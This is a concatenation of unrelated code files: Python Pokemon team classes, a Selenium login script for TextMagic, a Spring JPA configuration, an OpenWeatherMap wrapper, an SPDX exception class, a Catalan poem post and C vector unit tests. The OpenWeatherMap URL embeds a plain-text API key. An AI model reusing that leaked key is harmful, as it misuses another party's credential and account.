        Init Pokemon method.
        :param name: name of Pokemon.
        :param condition: ### TODO ###
        :param active: Bool.
        :param level: Stringified int.
        """
        self.name = name
        self.condition = condition
        self.status = Status.UNK
        self.active = active
        self.level = int(level)
        self.types = []
        self.item = ""
        self.abilities = []
        self.stats = {}
        self.moves = []
        self.buff = {
            "atk": [0, 1],
            "def": [0, 1],
            "spa": [0, 1],
            "spd": [0, 1],
            "spe": [0, 1],
            "accuracy": [0, 1],
            "evasion": [0, 1]
        }

    def load_unknown(self):
        """
        Load every information of pokemon from datafiles and store them
        """
        infos = infos_for_pokemon(self.name)
        self.types = infos["types"]
        self.abilities = infos["possibleAbilities"]
        self.stats = infos["baseStats"]
        self.moves = infos["possibleMoves"]

    def load_known(self, abilities: list, item: str, _, moves: list):
        """
        Load ever information of pokemon from datafiles, but use only some of them.
        :param abilities: String. Ability of pokemon.
        :param item: String. Item of pokemon.
        :param stats: Dict. {hp, atk, def, spa, spd, spe}
        :param moves: Array. Not used.
        """
        infos = infos_for_pokemon(self.name)
        self.types = infos["types"]
        self.abilities = abilities
        self.item = item
        self.stats = infos["baseStats"]
        with open("data/moves.json", encoding='utf8') as data_file:
            json_file = json.load(data_file)
            for move in moves:
                self.moves.append(json_file[move.replace('60', '')])

    def buff_affect(self, stat: str) -> int:
        """
        Return buff corresponding to stat
        :param stat: String : ["atk", "def", "spa", "spd", "spe"]
        :return: Integer
        """
        return self.buff[stat][1]

    def __repr__(self) -> int:
        return str(vars(self))

class Team:
    """
    Team class.
    Contain pokemon list.
    """
    def __init__(self, *pkms: list[Pokemon]):
        """
        init Team method
        :param pkms: Array of pokemons. Can be empty, Cannot contain more than six pokemon.
        """
        self.pokemons = []
        for pkm in pkms:
            self.add(pkm)

    def active(self) -> Pokemon|None:
        """
        Return active pokemon of Team
        :return: Pokemon
        """
        for pkm in self.pokemons:
            if pkm.active:
                return pkm
        return None

    def add(self, pokemon: Pokemon):
        """
        Add pokemon ton self.pokemons array. Exit and print error message if Team is full (6 pokemons)
        :param pokemon: Pokemon
        """
        if len(self.pokemons) < 6:
            self.pokemons.append(pokemon)
        else:
            raise IndexError("Failed to add " + pokemon.name + " : there is yet six pokemon in team :\n" + str(self))

    def remove(self, pkm_name: str):
        """
        Remove pokemon from self.pokemons array. Exit and print error message if pkm_name not present in self.pokemons
        :param pkm_name: Name of pokemon
        """
        for i, pkm in enumerate(self.pokemons):
            if pkm_name in pkm.name.lower():
                if "mega" not in pkm.name.lower():
                    del self.pokemons[i]
                return
        raise NameError("Unable to remove " + pkm_name + " from team :\n" + str(self))

    def __contains__(self, pkm_name: str) -> bool:
        return any(pkm.name == pkm_name for pkm in self.pokemons)

    def __repr__(self) -> str:
        return ', '.join([pkm.name for pkm in self.pokemons])


text:
from selenium.webdriver.firefox.webdriver import WebDriver

class Application:
    def __init__(self):
        self.wd = WebDriver()
        self.wd.implicitly_wait(60)

    def Open_home_page(self):
        wd = self.wd
        wd.get("https://my.textmagic.com/login")

    def login(self, username, password):
            wd = self.wd

            self.Open_home_page()
            wd.find_element_by_id("_username").click()
            wd.find_element_by_id("_username").clear()
            wd.find_element_by_id("_username").send_keys(username)
            wd.find_element_by_id("_username").click()
            wd.find_element_by_id("_password").click()
            wd.find_element_by_id("_password").clear()
            wd.find_element_by_id("_password").send_keys(password)
            wd.find_element_by_id("_password").click()
            wd.find_element_by_id("logInBtn").click()

    def create_template(self, group):
                wd = self.wd

                wd.find_element_by_link_text("Templates").click()
                wd.find_element_by_link_text("New template").click()
                wd.find_element_by_id("addListName").click()
                wd.find_element_by_id("addListName").clear()
                wd.find_element_by_id("addListName").send_keys(group.listname)
                wd.find_element_by_id("addListName").click()
                wd.find_element_by_id("editTmplText").click()
                wd.find_element_by_id("editTmplText").clear()
                wd.find_element_by_id("editTmplText").send_keys(group.Tmptext)
                wd.find_element_by_id("editTmplText").click()
                wd.find_element_by_id("addTemplateBtn").click()

    def destroy(self):
        self.wd.quit()


text:
/**
 *
 */
package com.uesocc.sicmec.config;

import org.springframework.context.annotation.Configuration;

/**
 * @author xtiyo
 *
 */

import java.util.Properties;

import javax.annotation.Resource;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.sql.DataSource;
import nz.net.ultraq.web.thymeleaf.LayoutDialect;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.PropertySource;
import org.springframework.context.support.ResourceBundleMessageSource;
import org.springframework.core.env.Environment;
import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
import org.springframework.orm.jpa.JpaTransactionManager;
import org.springframework.orm.jpa.JpaVendorAdapter;
import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean;
import org.springframework.orm.jpa.vendor.Database;
import org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter;
import org.springframework.transaction.PlatformTransactionManager;
import org.springframework.transaction.annotation.EnableTransactionManagement;
import org.springframework.web.servlet.config.annotation.EnableWebMvc;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
import org.thymeleaf.spring4.SpringTemplateEngine;
import org.thymeleaf.spring4.view.ThymeleafViewResolver;
import org.thymeleaf.templateresolver.ServletContextTemplateResolver;

import com.jolbox.bonecp.BoneCPDataSource;

/**
 * @author pablo portillo
 * @date 31/7/2014
 */

@Configuration
@ComponentScan(value ="com.uesocc.sicmec.*")
@EnableTransactionManagement(proxyTargetClass = true)
@EnableJpaRepositories("com.uesocc.sicmec.model.*")
@PropertySource("classpath:application.properties")
@EnableWebMvc
public class ApplicationContext extends WebMvcConfigurerAdapter {

	@Resource
	private Environment env;

	@Bean
	public DataSource dataSource()
	{
		BoneCPDataSource datasource = new BoneCPDataSource();
		datasource.setDriverClass(env.getRequiredProperty("db.driver"));
		datasource.setJdbcUrl(env.getRequiredProperty("db.url"));
		datasource.setUsername(env.getRequiredProperty("db.username"));
		datasource.setPassword(env.getRequiredProperty("db.password"));
		return datasource;
	}

	@Bean
	public LocalContainerEntityManagerFactoryBean entityManagerFactory(DataSource dataSource,
			JpaVendorAdapter jpaVendorAdapter)
	{
		LocalContainerEntityManagerFactoryBean lef = new LocalContainerEntityManagerFactoryBean();
		lef.setDataSource(dataSource);
		lef.setJpaVendorAdapter(jpaVendorAdapter);
		lef.setJpaProperties(additionalProperties());
		lef.setPackagesToScan(env.getRequiredProperty("entitymanager.packages.to.scan"));
		return lef;
	}

	@Bean
	public EntityManager entityManager(EntityManagerFactory entityManagerFactory)
	{
		return entityManagerFactory.createEntityManager();
	}

	@Bean
	public JpaVendorAdapter jpaVendorAdapter()
	{
		HibernateJpaVendorAdapter hibernateJpaVendorAdapter = new HibernateJpaVendorAdapter();
		hibernateJpaVendorAdapter.setShowSql(Boolean.parseBoolean(env.getRequiredProperty("hibernate.show_sql")));
		hibernateJpaVendorAdapter.setGenerateDdl(Boolean.parseBoolean(env.getRequiredProperty("hibernate.GenerateDdl")));
		hibernateJpaVendorAdapter.setDatabase(Database.POSTGRESQL);
		return hibernateJpaVendorAdapter;
	}

	Properties additionalProperties()
	{
		return new Properties() {
			{ // Hibernate Specific:
				setProperty("hibernate.hbm2ddl.auto", env.getRequiredProperty("hibernate.hbm2ddl.auto"));
				setProperty("hibernate.dialect", env.getRequiredProperty("hibernate.dialect"));
			}
		};
	}

	@Bean
	public PlatformTransactionManager transactionManager() {
		return new JpaTransactionManager();
	}

	@Bean
	public ResourceBundleMessageSource messageSource() {
		ResourceBundleMessageSource source = new ResourceBundleMessageSource();
		source.setBasenames("i18n/messages","i18n/messages_ES", "i18n/messages_EN");
		source.setDefaultEncoding(env.getRequiredProperty("DEFAULT_ENCODING"));
		return source;
	}

	@Override
    public void addResourceHandlers(ResourceHandlerRegistry registry) {
        registry.addResourceHandler("/resources/**").
        addResourceLocations("/WEB-INF/resources/");
    }

//	@Bean
//	public SpringLiquibase liquibase(DataSource dataSource) {
//		SpringLiquibase springLiquibase = new SpringLiquibase();
//		springLiquibase.setDataSource(dataSource);
//		springLiquibase.setChangeLog(env.getRequiredProperty("liquidbase.changelog"));
//		return springLiquibase;
//	}

	@Bean
	public ServletContextTemplateResolver templateResolver() {
		ServletContextTemplateResolver resolver = new ServletContextTemplateResolver();
		resolver.setPrefix("/WEB-INF/templates/");
		resolver.setSuffix(".html");
		resolver.setTemplateMode("HTML5");
		resolver.setOrder(1);
		return resolver;
	}

	@Bean
	public SpringTemplateEngine templateEngine() {
		SpringTemplateEngine engine = new SpringTemplateEngine();
		engine.setTemplateResolver(templateResolver());
		engine.addDialect(new LayoutDialect());
		return engine;
	}

	@Bean
	public ThymeleafViewResolver thymeleafViewResolver()
	{
		ThymeleafViewResolver resolver = new ThymeleafViewResolver();
		resolver.setTemplateEngine(templateEngine());
		resolver.setCharacterEncoding("UTF-8");
		resolver.setContentType("text/html; charset=UTF-8");
		return resolver;
	}

	//Mail sender

//	@Bean
//    public JavaMailSenderImpl emailSender(){
//
//        JavaMailSenderImpl emailSender = new JavaMailSenderImpl();
//            emailSender.setHost(env.getRequiredProperty("email.host"));
//            emailSender.setPort(Integer.parseInt(env.getRequiredProperty("email.port")));
//            emailSender.setUsername(env.getRequiredProperty("email.username"));
//            emailSender.setPassword(env.getRequiredProperty("email.pass"));
//
//            Properties mailProps = new Properties();
//                mailProps.setProperty("mail.transport.protocol","smtp");
//                mailProps.setProperty("mail.smtp.auth","true");
//                mailProps.setProperty("mail.smtp.starttls.enable","true");
//                mailProps.setProperty("mail.debug","true");
//                emailSender.setJavaMailProperties(mailProps);
//        return emailSender;
//    }

}


text:
from pywebdata.baseservice import BaseService

class OpenWeatherMap(BaseService):

    name = 'open-weather-map'

    def __init__(self):
        self.add_url('http://api.openweathermap.org/data/2.5/weather?q=$city&appid=2de143494c0b295cca9337e1e96b00e0')
        self.add_input('city', iotype='str', required=True)
        self.add_output('temp', iotype='float')
        self.add_parser(staticmethod(lambda x:x['main']))


text:
package org.spdx.licenseTemplate;

/**
 * Exception for license template rules
 * @author Gary O'Neall
 *
 */
public class LicenseTemplateRuleException extends Exception {
	/**
	 *
	 */
	private static final long serialVersionUID = 1L;

	public LicenseTemplateRuleException(String msg) {
		super(msg);
	}

	public LicenseTemplateRuleException(String msg, Throwable inner) {
		super(msg, inner);
	}
}


text:
layout: post #
title: 279 Camí # Generat automàticament
date: 2018-04-14 # Data
description:  # Argument
keywords:  # Paraules clau
coments:  # Comentaris
---

Mai mires cap a terra

per a comprobar el seu estat

abans  de donar el següent pas;

sols aquell que té la mirada

posada en l'horitzont

trobarà el camí correcte.

Dag Hammarkjold


text:
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.

#include <cstdlib>
#ifdef _CRTDBG_MAP_ALLOC
#include <crtdbg.h>
#endif

#include "testrunnerswitcher.h"
#include "micromock.h"

#include "vector.h"

#ifdef _MSC_VER
#pragma warning(disable:4505)
#endif

typedef struct VECTOR_UNITTEST_TAG
{
    size_t nValue1;
    long lValue2;
} VECTOR_UNITTEST;

static bool PredicateFunction(const VECTOR_UNITTEST* handle, const VECTOR_UNITTEST* otherHandle)
{
    return (handle->nValue1 == otherHandle->nValue1 && handle->lValue2 == otherHandle->lValue2);
}

VECTOR_HANDLE g_handle;

#define NUM_ITEM_PUSH_BACK      128

static MICROMOCK_GLOBAL_SEMAPHORE_HANDLE g_dllByDll;

BEGIN_TEST_SUITE(Vector_UnitTests)

    TEST_SUITE_INITIALIZE(a)
    {
        INITIALIZE_MEMORY_DEBUG(g_dllByDll);
    }

    TEST_SUITE_CLEANUP(TestClassCleanup)
    {
        DEINITIALIZE_MEMORY_DEBUG(g_dllByDll);
    }

    TEST_FUNCTION_INITIALIZE(initialize)
    {
        g_handle = VECTOR_create(sizeof(VECTOR_UNITTEST));
    }

    TEST_FUNCTION_CLEANUP(cleans)
    {
        /// Clean Up
        VECTOR_clear(g_handle);
        VECTOR_destroy(g_handle);
    }

    /* Vector_Tests BEGIN */
    TEST_FUNCTION(Vector_push_Back_with_NULL_Vector_fails)
    {
        ///arrange
        VECTOR_UNITTEST vItem;

        ///act
        int result = VECTOR_push_back(NULL, &vItem, 1);

        ///assert
        ASSERT_ARE_NOT_EQUAL(int, 0, result);
    }

    TEST_FUNCTION(Vector_push_Back_with_NULL_Element_fails)
    {
        ///arrange

        ///act
        int result = VECTOR_push_back(g_handle, NULL, 1);

        ///assert
        ASSERT_ARE_NOT_EQUAL(int, 0, result);
    }

    TEST_FUNCTION(Vector_push_Back_with_Zero_numElement_fails)
    {
        ///arrange
        VECTOR_UNITTEST sItem = {1, 2};

        ///act
        int result = VECTOR_push_back(g_handle, &sItem, 0);

        ///assert
        ASSERT_ARE_NOT_EQUAL(int, 0, result);
    }

    TEST_FUNCTION(Vector_push_Back_Success)
    {
        ///arrange
        VECTOR_UNITTEST sItem = {1, 2};

        ///act
        int result = VECTOR_push_back(g_handle, &sItem, 1);

        ///assert
        ASSERT_ARE_EQUAL(int, 0, result);
    }

    TEST_FUNCTION(Vector_size_with_NULL_Vector_fails)
    {
        ///arrange

        ///act
        size_t num = VECTOR_size(NULL);

        ///assert
        ASSERT_ARE_EQUAL(int, 0, num);
    }

    TEST_FUNCTION(Vector_size_Empty_Success)
    {
        ///arrange

        ///act
        size_t num = VECTOR_size(g_handle);

        ///assert
        ASSERT_ARE_EQUAL(int, 0, num);
    }

    TEST_FUNCTION(Vector_size_Success)
    {
        ///arrange
        VECTOR_UNITTEST sItem = {1, 2};

        ///act
        int result = VECTOR_push_back(g_handle, &sItem, 1);
        size_t num = VECTOR_size(g_handle);

        ///assert
        ASSERT_ARE_EQUAL(int, 0, result);
        ASSERT_ARE_EQUAL(int, 1, num);
    }

    TEST_FUNCTION(Vector_Vector_Find_If_NULL_Vector_Fail)
    {
        ///arrange
        VECTOR_UNITTEST sItem = {1, 2};

        ///act
        VECTOR_UNITTEST* pfindItem = (VECTOR_UNITTEST*)VECTOR_find_if(NULL, (PREDICATE_FUNCTION)PredicateFunction, &sItem);

        ///assert
        ASSERT_IS_NULL(pfindItem);
    }

    TEST_FUNCTION(Vector_Vector_Find_If_NULL_Predicate_Func_Fail)
    {
        ///arrange
        VECTOR_UNITTEST sItem = {1, 2};

        ///act
        VECTOR_UNITTEST* pfindItem = (VECTOR_UNITTEST*)VECTOR_find_if(g_handle, NULL, &sItem);

        ///assert
        ASSERT_IS_NULL(pfindItem);
    }

    TEST_FUNCTION(Vector_Vector_Find_If_NULL_value_Fail)
    {
        ///arrange
        VECTOR_UNITTEST sItem = {1, 2};

        (void)VECTOR_push_back(g_handle, &sItem, 1);

        ///act
        VECTOR_UNITTEST* pfindItem = (VECTOR_UNITTEST*)VECTOR_find_if(g_handle, (PREDICATE_FUNCTION)PredicateFunction, NULL);

        ///assert
        ASSERT_IS_NULL(pfindItem);
    }

    TEST_FUNCTION(Vector_Vector_Find_If_Success)
    {
        ///arrange
        VECTOR_UNITTEST sItem = {1, 2};

        ///act
        int result = VECTOR_push_back(g_handle, &sItem, 1);

        VECTOR_UNITTEST* pfindItem = (VECTOR_UNITTEST*)VECTOR_find_if(g_handle, (PREDICATE_FUNCTION)PredicateFunction, &sItem);

        ///assert
        ASSERT_ARE_EQUAL(int, 0, result);
        ASSERT_ARE_EQUAL(int, sItem.nValue1, pfindItem->nValue1);
        ASSERT_ARE_EQUAL(int, sItem.lValue2, pfindItem->lValue2);
    }

    TEST_FUNCTION(Vector_Clear_NULL_Vector_Fail)
    {
        ///arrange

        ///act
        VECTOR_clear(NULL);

        ///assert
        // Make sure this clear doesn't crash
    }

    TEST_FUNCTION(Vector_Clear_Success)
    {
        ///arrange
        VECTOR_UNITTEST sItem = {1, 2};

        int result = VECTOR_push_back(g_handle, &sItem, 1);
        result = VECTOR_push_back(g_handle, &sItem, 1);

        ///act
        VECTOR_clear(g_handle);

        size_t num = VECTOR_size(g_handle);

        ///assert
        ASSERT_ARE_EQUAL(int, 0, result);
        ASSERT_ARE_EQUAL(int, 0, num);
    }

    TEST_FUNCTION(Vector_Element_Success)
    {
        ///arrange
        VECTOR_UNITTEST sItem1 = {1, 2};
        VECTOR_UNITTEST sItem2 = {3, 4};

        (void)VECTOR_push_back(g_handle, &sItem1, 1);
        (void)VECTOR_push_back(g_handle, &sItem2, 1);

        ///act
        VECTOR_UNITTEST* pResult = (VECTOR_UNITTEST*)VECTOR_element(g_handle, 1);

        ///assert
        ASSERT_IS_NOT_NULL(pResult);
        ASSERT_ARE_EQUAL(int, sItem2.nValue1, pResult->nValue1);
        ASSERT_ARE_EQUAL(int, sItem2.lValue2, pResult->lValue2);
    }

    TEST_FUNCTION(Vector_Element_NULL_Vector_Fail)
    {
        ///arrange

        ///act
        void* pResult = VECTOR_element(NULL, 1);

        ///assert
        ASSERT_IS_NULL(pResult);
    }

    TEST_FUNCTION(Vector_Element_Index_Larger_Than_Size_Fail)
    {
        ///arrange
        VECTOR_UNITTEST sItem = {1, 2};

        (void)VECTOR_push_back(g_handle, &sItem, 1);
        (void)VECTOR_push_back(g_handle, &sItem, 1);

        size_t num = VECTOR_size(g_handle);

        ///act
        VECTOR_UNITTEST* pResult = (VECTOR_UNITTEST*)VECTOR_element(g_handle, num+1);

        ///assert
        ASSERT_IS_NULL(pResult);
    }

    TEST_FUNCTION(Vector_Front_NULL_Vector_Fail)
    {
        ///arrange

        ///act
        void* pResult = VECTOR_front(NULL);

        ///assert
        ASSERT_IS_NULL(pResult);
    }

    TEST_FUNCTION(Vector_Front_Success)
    {
        ///arrange
        VECTOR_UNITTEST sItem1 = {1, 2};
        VECTOR_UNITTEST sItem2 = {3, 4};

        (void)VECTOR_push_back(g_handle, &sItem1, 1);
        (void)VECTOR_push_back(g_handle, &sItem2, 1);

        ///act
        VECTOR_UNITTEST* pResult = (VECTOR_UNITTEST*)VECTOR_front(g_handle);

        ///assert
        ASSERT_IS_NOT_NULL(pResult);
        ASSERT_ARE_EQUAL(int, sItem1.nValue1, pResult->nValue1);
        ASSERT_ARE_EQUAL(int, sItem1.lValue2, pResult->lValue2);
    }

    TEST_FUNCTION(Vector_Back_Success)
    {
        ///arrange
        VECTOR_UNITTEST sItem1 = {1, 2};
        VECTOR_UNITTEST sItem2 = {3, 4};
        VECTOR_UNITTEST sItem3 = {5, 6};

        (void)VECTOR_push_back(g_handle, &sItem1, 1);
        (void)VECTOR_push_back(g_handle, &sItem2, 1);
        (void)VECTOR_push_back(g_handle, &sItem3, 1);

        ///act
        VECTOR_UNITTEST* pResult = (VECTOR_UNITTEST*)VECTOR_back(g_handle);

        ///assert
        ASSERT_IS_NOT_NULL(pResult);
        ASSERT_ARE_EQUAL(int, sItem3.nValue1, pResult->nValue1);
        ASSERT_ARE_EQUAL(int, sItem3.lValue2, pResult->lValue2);
    }

    TEST_FUNCTION(Vector_Back_NULL_Vector_Fail)
    {
        ///arrange

        ///act
        void* pResult = VECTOR_back(NULL);

        ///assert
        ASSERT_IS_NULL(pResult);
    }

    TEST_FUNCTION(Vector_erase_with_NULL_Vector_Fail)
    {
        ///arrange
        VECTOR_UNITTEST vItem;

        ///act
        VECTOR_erase(NULL, &vItem, 1);

        ///assert
        // Make sure this erase doesn't crash
    }

    TEST_FUNCTION(Vector_erase_with_NULL_Element_fails)
    {
        ///arrange

        ///act
        VECTOR_erase(g_handle, NULL, 1);

        ///assert
        // Make sure this erase doesn't crash
    }

    TEST_FUNCTION(Vector_erase_with_NULL_NumElement_fails)
    {
        ///arrange
        VECTOR_UNITTEST sItem;

        ///act
        VECTOR_erase(g_handle, &sItem, 0);

        ///assert
        // Make sure this erase doesn't crash
    }

    TEST_FUNCTION(Vector_erase_Success)
    {
        ///arrange
        VECTOR_UNITTEST sItem1 = {1, 2};
        VECTOR_UNITTEST sItem2 = {3, 4};

        ///act
        int result = VECTOR_push_back(g_handle, &sItem1, 1);
        ASSERT_ARE_EQUAL(int, 0, result);

        result = VECTOR_push_back(g_handle, &sItem2, 1);
        ASSERT_ARE_EQUAL(int, 0, result);

        VECTOR_UNITTEST* pfindItem = (VECTOR_UNITTEST*)VECTOR_find_if(g_handle, (PREDICATE_FUNCTION)PredicateFunction, &sItem1);
        ASSERT_IS_NOT_NULL(pfindItem);
        VECTOR_erase(g_handle, pfindItem, 1);

        pfindItem = (VECTOR_UNITTEST*)VECTOR_find_if(g_handle, (PREDICATE_FUNCTION)PredicateFunction, &sItem2);
        ASSERT_IS_NOT_NULL(pfindItem);
        VECTOR_erase(g_handle, pfindItem, 1);

        size_t num = VECTOR_size(g_handle);

        ///assert
        ASSERT_ARE_EQUAL(int, 0, num);
    }

    TEST_FUNCTION(Vector_Multiple_push_back_Success)
    {
        ///arrange
        VECTOR_UNITTEST sItem1 = {1, 2};

        ///act
        for (size_t nIndex = 0; nIndex < NUM_ITEM_PUSH_BACK; nIndex++)
        {
            sItem1.nValue1++;
            sItem1.lValue2++;
            int result = VECTOR_push_back(g_handle, &sItem1, 1);
            ASSERT_ARE_EQUAL(int, 0, result);
        }

        VECTOR_UNITTEST* pResult = (VECTOR_UNITTEST*)VECTOR_back(g_handle);

        ///assert
        ASSERT_IS_NOT_NULL(pResult);
        ASSERT_ARE_EQUAL(int, sItem1.nValue1, pResult->nValue1);
        ASSERT_ARE_EQUAL(int, sItem1.lValue2, pResult->lValue2);
    }

    /* Vector_Tests END */

END_TEST_SUITE(Vector_UnitTests)